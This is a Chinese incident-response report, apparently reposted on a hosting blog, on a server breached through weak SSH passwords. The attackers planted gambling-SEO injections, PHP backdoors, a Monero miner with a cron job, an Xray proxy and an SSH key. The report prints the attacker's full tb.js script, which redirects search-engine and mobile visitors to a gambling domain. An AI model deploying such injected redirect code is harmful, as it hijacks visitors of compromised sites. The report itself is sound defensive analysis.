记一次服务器入侵事件的应急响应

0x01 事件背景

8月某日,客户官网被黑,需在特定时间内完成整改。为避免客户业务受到影响,实验室相关人员第一时间展开本次攻击事件的应急处理。

0x02 事件分析

网站源码被篡改,攻击者一定获取到了权限,那么接下来的思路就是推测攻击者入侵手段,找到业务脆弱点,对服务器进行全方位排查,找到攻击者留下来的痕迹并进行分析处理。

2.1 信息收集

与客户简单沟通后,得知如下基本信息:

  • 官网服务器为租赁的阿里云虚拟专用服务器
  • 虚拟专用服务器上部署的官网后台使用了DedeCMS织梦系统
  • 虚拟专用服务器安装了宝塔面板服务器运维系统
  • 虚拟专用服务器安装的宝塔面板的密码已被篡改

2.2 攻击入口判断

服务器开放了SSH、宝塔、DedeCMS等3个服务,那么接下来我们从服务器开放的服务来推测可能的攻击入口。

玩过宝塔的朋友都知道,宝塔后台路径未知的情况下,通过宝塔后台GetShell基本上是不可能的。此外,客户设置的BT面板的用户名也有些复杂,所以推断攻击者从宝塔下手的可能性很小(这里埋个坑,前面提到客户宝塔后台密码被修改的情况,后面会说到原因)。

客户官网使用的DedeCMS版本为 v5.7 sp2,尝试所有公开漏洞均未成功。并且,DedeCMS的后台密码没有规律,所以推测从DedeCMS入侵的可能性也不是很大。

客户给出了服务器的账号密码,我们的第一反应是入侵从SSH弱口令开始的。因为我的爆破字典里包含了服务器的密码(手动笑哭),但这显然还不能直接让客户信服。

综上,高度怀疑服务器是被爆破SSH弱口令后导致了后续的入侵行为。

2.3 应急响应

在判断攻击入口后,我们登录客户的服务器,仔细抡了一遍,只能说服务器上的东西有点多。。。

2.3.1 BC黑页&PHP后门

首先访问客户首页,发现官网页面表面没有任何异常,也并未被重定向到BC网站。但是实际上网页Meta信息被篡改,且会异步请求BC网站和百度统计的若干接口。

推测攻击者的目的应为BC网站SEO优化,提高网站的SEO排名。

定位到服务器上的DedeCMS网站源码,发现源码在7月17日被修改植入了恶意代码。

网站源码被插入2个新的meta元素,以及一段JavaScript代码。下图为新增的meta元素,解码后发现是菠菜搜索关键词。

新插入的JavaScript代码如下图所示。解码后发现是一段引用外部js的代码。

恶意js文件的内容为:

此文件的作用就是插入https://sjbgw2022.com/tb.js的恶意文件以及对恶意SEO优化。

继续查看tb.js这个文件内容:

//这里省略一大段代码,因为代码内容与ly.js内容一致都是对恶意SEO的优化
//上面的代码与之前一样作用就是推送自动收录。
//JS正则表达式判断来路,如果是下列搜索引擎则指定跳转网址。
var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where=document.referrer;
if(regexp.test(where))
{
window.location.href="https://tb04.cc/";//满足就跳转至菠菜页面。
}

//更详细的检测,判断是否包含搜索引擎字段,是则跳转至菠菜页面。
var sp_regexps =
/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {
sp_whereis = top.document.referrer;
} catch (e){}
try {
sp_whereis = window.parent.document.referrer;
} catch (e){}
var sp_domains = window.location.host;
try {
sp_domains = top.document.domain;
} catch (e){}
try {
sp_domains = window.parent.document.domain;
} catch (e){}
if (sp_regexps.test(sp_whereis)){
window.location.href='https://tb04.cc';
parent.window.opener.location='https://tb04.cc';
}

//判断是否是移动端,满足也跳转至菠菜页面。
function browserRedirect(){
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i)=='ipad';
var bIsIphoneOs = sUserAgent.match(/iphone os/i)=='iphone os';
var bIsMidp = sUserAgent.match(/midp/i)=='midp';
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i)=='rv:1.2.3.4';
var bIsAndroid = sUserAgent.match(/android/i)=='android';
var bIsCE = sUserAgent.match(/windows ce/i)=='windows ce';
var bIsWM = sUserAgent.match(/windows mobile/i)=='windows mobile';
if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)){
} else {
window.location.href='https://tb04.cc';
}
}
browserRedirect();

发现这个文件的作用是恶意SEO优化,判断访问网站的来路,如果是从搜索引擎过来的就会跳转至菠菜页面,如果是直接访问官网则不会有变化。菠菜页面截图如下所示:

此外,在DedeCMS源码目录发现了很多PHP后门。

2.3.2 宝塔沦陷

接下来我们进行了日志排查,发现系统日志都已经被清理。

前面说到宝塔密码已被修改,那么为了登入宝塔,我们直接修改宝塔密码。在服务器上输入bt命令进行修改。

登入宝塔后台后,我们发现最后一次登录时间为7月16日,攻击者上传了一个名为zxc.php的木马文件。

网站日志未被删除,日志显示攻击者在7月17日通过zxc.php上传大量后门文件,下图为日志访问记录截图。

下图为一个PHP大马的截图。

综上所述,推断攻击者是菠菜SEO黑产组织,攻击手法为利用SSH弱口令远程登录服务器,修改宝塔后台密码后上传木马,进而通过代理机器继续上传其它木马文件。这是2.2节中所述的宝塔密码被篡改的原因。

2.3.3 门罗币挖矿木马

服务器上的问题还不仅仅是被挂黑页这么简单。服务器进程排查过程中发现,某进程CPU占用率特别高,不出意外就是挖矿程序了。

跟踪定位文件位置为/root/.warmup/。

发现挖矿配置文件/root/.warmup/config.json。

从网络通联信息发现矿池地址为5.133.65.53至5.133.65.56的IP段。威胁情报表明这是一个门罗币矿池。

杀死挖矿进程后程序自启动,删除挖矿文件后发现过一段时间文件会被重新下载并运行。这说明存在挖矿守护进程或定时任务。经分析,发现一个5月7日就创建的定时挖矿任务。

somescript文件内容为创建一个挖矿自启动服务warmup,保证进程或文件被删除后能重新加载挖矿程序。

2.3.4 xray代理

Xray是V2ray的一个分支(Fork)。Xray项目基于V2ray而来,其支持并且兼容V2ray的配置,其官方网站为(https://xtls.github.io/Xray-docs-next/),我们在进程排查中发现有Xray程序正在运行。

Xray最后一次运行时间为8月17日。

2.3.5 SSH后门

最后,除了后门、定时任务外,继续查看服务器上是否有攻击者留下的手段。我们发现服务器在5月9日被写入SSH公钥,经与客户确认不是客户所为。

0x03  应急处理

客户有业务数据备份,那么处理和加固就简单多了。我们对服务器进行了如下操作:

  • 重置系统服务器
  • 修改服务器、系统后台的口令,加强口令复杂度,避免出现连续性口令
  • 自定义日志目录,避免日志被删除
  • 网站目录设置除root外所有用户禁止写入
  • 上传目录做权限设置

0x04  事件还原与总结

我们推测攻击者不止一个,并且都是通过SSH弱口令入侵服务器。事件时间线如下图所示:

第一波攻击者可能是挖矿组织,在5月7日大概率利用SSH弱口令进入服务器上传挖矿程序somescript,且做了对应的维持手段。

第二波攻击者可能是黑产组织,攻击时间为7月16日至7月17日,其操作是对网站做黑帽SEO,更改宝塔后台并上传大量后门。

第三波攻击者应该只是想控制一批跳板机,在8月17日上传了代理程序,目前在服务器上出现的恶意事件最后截止也是到8月17日。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/148962.html<

(0)
管理的头像管理
上一篇2025-03-12 09:45
下一篇 2025-03-12 09:46

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注